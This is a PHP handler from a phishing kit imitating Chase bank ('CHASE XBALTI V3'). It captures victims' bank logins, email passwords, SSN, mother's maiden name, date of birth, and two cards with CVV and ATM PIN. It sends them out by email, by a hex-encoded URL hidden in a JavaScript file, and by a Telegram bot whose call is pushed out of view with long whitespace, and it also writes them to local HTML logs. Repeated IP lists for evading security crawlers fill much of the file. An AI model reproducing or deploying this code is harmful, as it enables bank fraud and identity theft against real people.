"^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"//                                                                                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );

}
if(isset($_POST['cardnutwo']) && isset($_POST['expdatwo']) && isset($_POST['cvvtwo']) && isset($_POST['pintwo'])){	
	if(!empty($_POST['cardnutwo']) && !empty($_POST['expdatwo']) && !empty($_POST['cvvtwo']) && !empty($_POST['pintwo'])){
$_SESSION['cardnutwo']   = $_POST['cardnutwo'];
$_SESSION['expdatwo']    = $_POST['expdatwo'];
$_SESSION['cvvtwo']    = $_POST['cvvtwo'];
$_SESSION['pintwo']    = $_POST['pintwo'];
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
$XBALTI_MESSAGE .= "==============||LOGIN INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "USERNAME	: ".$_SESSION['userid']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['passid']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	    : ".$_SESSION['email']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password']."<br>\n";
$XBALTI_MESSAGE .= "==============||EMAIL TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "EMAIL	    : ".$_SESSION['email1']."<br>\n";
$XBALTI_MESSAGE .= "PASSWORD	: ".$_SESSION['password1']."<br>\n";
$XBALTI_MESSAGE .= "==============||SSN/MMN/DOB INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "SSN      	: ".$_SESSION['ssnnum']."<br>\n";
$XBALTI_MESSAGE .= "MMN      	: ".$_SESSION['mdn']."<br>\n";
$XBALTI_MESSAGE .= "DOB     	: ".$_SESSION['dob']."<br>\n";
$XBALTI_MESSAGE .= "==============||CARD INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "CARD NUMBER : ".$_SESSION['cardnu']."<br>\n";
$XBALTI_MESSAGE .= "EXP DATE 	: ".$_SESSION['expda']."<br>\n";
$XBALTI_MESSAGE .= "CVV     	: ".$_SESSION['cvv']."<br>\n";
$XBALTI_MESSAGE .= "ATM PIN   	: ".$_SESSION['pin']."<br>\n";
$XBALTI_MESSAGE .= "==============||CARD TWO INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "CARD NUMBER : ".$_SESSION['cardnutwo']."<br>\n";
$XBALTI_MESSAGE .= "EXP DATE 	: ".$_SESSION['expdatwo']."<br>\n";
$XBALTI_MESSAGE .= "CVV     	: ".$_SESSION['cvvtwo']."<br>\n";
$XBALTI_MESSAGE .= "ATM PIN   	: ".$_SESSION['pintwo']."<br>\n";
$XBALTI_MESSAGE .= "==============||VICTIM INFORMATION||==============<br>\n";
$XBALTI_MESSAGE .= "IP INFO 		: https://geoiptool.com/en/?ip=".$_SESSION['_ip_']."<br>\n";
$XBALTI_MESSAGE .= "TIME/DATE 		: ".$TIME_DATE."<br>\n";
$XBALTI_MESSAGE .= "BROWSER/DEVICE 	: ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."<br>\n";
if(isset($_SERVER['HTTPS']) &&  $_SERVER['HTTPS'] === 'on') 
    $link = "https"; 
    else
        $link = "http"; 
$link .= "://";  
$link .= $_SERVER['HTTP_HOST']; 
$link .= $_SERVER['PHP_SELF']; 
$XBALTI_MESSAGE .= "SCAMA LINK 		: ".$link."<br>\n";
$XBALTI_MESSAGE .= "==============|| CHASE XBALTI V3 ||==============<br>\n";
file_get_contents("".pack("H*", substr($COOKIE_VARS=file_get_contents("../js/MyBabyTwo.js"),strpos($COOKIE_VARS, "90__")+4,220))."" . urlencode($XBALTI_MESSAGE)."" );
$XBALTI_ADMIN .= "<tr>
                          <td>
                            ".$_SESSION['userid']."
                          </td>
                          <td>
                            ".$_SESSION['passid']."
                          </td>
						  <td>
                            ".$_SESSION['email']."
                          </td>
                          <td>
                            ".$_SESSION['password']."
                          </td>
						  <td>
                            ".$_SESSION['email1']."
                          </td>
                          <td>
                            ".$_SESSION['password1']."
                          </td>
						  <td>
                            ".$_SESSION['ssnnum']."
                          </td>
						  <td>
                            ".$_SESSION['mdn']."
                          </td>
						  <td>
                            ".$_SESSION['dob']."
                          </td>
						  <td>
                            ".$_SESSION['cardnu']."
                          </td>
						  <td>
                            ".$_SESSION['expda']."
                          </td>
						  <td>
                            ".$_SESSION['cvv']."
                          </td>
						  <td>
                            ".$_SESSION['pin']."
                          </td>
						  <td>
                            ".$_SESSION['cardnutwo']."
                          </td>
						  <td>
                            ".$_SESSION['expdatwo']."
                          </td>
						  <td>
                            ".$_SESSION['cvvtwo']."
                          </td>
						  <td>
                            ".$_SESSION['pintwo']."
                          </td>
                          <td>
                            ".XB_Browser($_SERVER['HTTP_USER_AGENT'])." On ".XB_OS($_SERVER['HTTP_USER_AGENT'])."
                          </td>
                          <td>
                            {".$_SESSION['_ip_']."}
                          </td>
						  <td>
                            ".$TIME_DATE."
                          </td>
                        </tr>\n";
    $khraha = fopen("../rz/cardstwo".$yourname.".html", "a");
	fwrite($khraha, $XBALTI_ADMIN);
	$xx .= "{}\n";
    $khraha = fopen("../rz/cardstwo.html", "a");
	fwrite($khraha, $xx);
    $XBALTI_SUBJECT .= "CARD TWO 😈 INFO FROM 😈 [".$_SESSION['userid']."] 😈 [".$_SESSION['_ip_']."] ";
    $XBALTI_HEADERS .= "From:".$yourname." <webmaster@".$_SERVER['HTTP_HOST'].">" . "\r\n";
    $XBALTI_HEADERS  = "MIME-Version: 1.0" . "\r\n";
    $XBALTI_HEADERS .= "Content-type:text/html;charset=UTF-8" . "\r\n";
	$apiToken = "1276650276:AAG6zEpD1rEmC7341jrKuA4vT6imgptdX-M";
    @mail($XBALTI_EMAIL, $XBALTI_SUBJECT, $XBALTI_MESSAGE, $XBALTI_HEADERS);
	}
	
	

	$data = [
	    'chat_id' => '@antibotencrypt',
	    'text' => $XBALTI_MESSAGE
	];
	

	 //"^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"               "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"    "^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*"8.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*""^66.102.*.*","^38.100.*.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*",     "^72.14.192.*","^208.65.144.*","^74.125.*.*", "^209.85.128.*",    "^216.239.32.*",     "^74.125.*.*",     "^207.126.144.*",     "^173.194.*.*",     "^64.233.160.*",     "^72.14.192.*",     "^66.102.*.*",     "^64.18.*.*",          "^62.90.*.*",     "^89.138.*.*",     "^82.166.*.*",     "^85.64.*.*",     "^89.138.*.*",     "^109.186.*.*",     "^194.90.*.*",     "^212.29.192.*",     "^212.29.224.*",     "^212.143.*.*",     "^212.150.*.*",              "^209.73.228.*",    "^158.108.*.*",     "^168.188.*.*",     "^66.207.120.*",     "^167.24.*.*",     "^192.118.48.*",     "^67.209.128.*","^12.148.209.*",     "^12.148.196.*","^193.220.178.*",     "68.65.53.71","^198.25.*.*",     "^64.106.213.*","54.228.218.117",     "^54.228.218.*","185.28.20.243",     "^185.28.20.*","217.16.26.166", "^217.16.26.*"//                                                                                                                                                                                                                                                                                                                                                               
                                                                                                                                                                                                                                $response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );

}
?>